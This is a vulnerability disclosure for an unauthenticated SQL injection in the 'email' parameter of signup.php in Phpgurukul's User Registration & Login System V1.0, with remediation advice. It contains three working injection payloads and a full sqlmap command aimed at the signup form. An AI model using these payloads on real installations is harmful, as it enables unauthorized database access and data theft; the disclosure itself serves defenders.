Phpgurukul User Registration & Login and User Management System With admin panel V1.0 /signup.php SQL injection

[wackymaker]

Phpgurukul User Registration & Login and User Management System With admin panel V1.0 /signup.php SQL injection

NAME OF AFFECTED PRODUCT(S)

• User Registration & Login and User Management System With admin panel

Vendor Homepage

• https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/

AFFECTED AND/OR FIXED VERSION(S)

submitter

• wackymaker

Vulnerable File

• /signup.php

VERSION(S)

• V1.0

Software Link

• https://phpgurukul.com/wp-content/uploads/2017/12/User-Registration-and-login-System-with-admin-panel.zip

PROBLEM TYPE

Vulnerability Type

• SQL injection

Root Cause

• A SQL injection vulnerability was found in the '/signup.php' file of the 'User Registration & Login and User Management System With admin panel' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

• Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

• During the security review of "User Registration & Login and User Management System With admin panel", wackymaker discovered a critical SQL injection vulnerability in the "/signup.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability lonameion:

• 'email' parameter

Payload:

  Parameter: email (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: fname=polaris&lname=blue&email=admin@qq.com' RLIKE (SELECT (CASE WHEN (9964=9964) THEN 0x61646d696e4071712e636f6d ELSE 0x28 END)) AND 'KuMM'='KuMM&contact=1111111111&password=Test@12345&confirmpassword=Test@12345&submit=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: fname=polaris&lname=blue&email=admin@qq.com' AND (SELECT 4704 FROM(SELECT COUNT(*),CONCAT(0x716a717671,(SELECT (ELT(4704=4704,1))),0x716b787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'XGGz'='XGGz&contact=1111111111&password=Test@12345&confirmpassword=Test@12345&submit=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fname=polaris&lname=blue&email=admin@qq.com' AND (SELECT 6457 FROM (SELECT(SLEEP(5)))XQrI) AND 'FxIp'='FxIp&contact=1111111111&password=Test@12345&confirmpassword=Test@12345&submit=

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

    sqlmap -u "10.211.55.6:1119/signup.php" --data="fname=polaris&lname=blue&email=admin%40qq.com&contact=1111111111&password=Test%4012345&confirmpassword=Test%4012345&submit=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs

• 

Suggested repair

1. Use prepared statements and parameter binding:
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. Regular security audits:
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.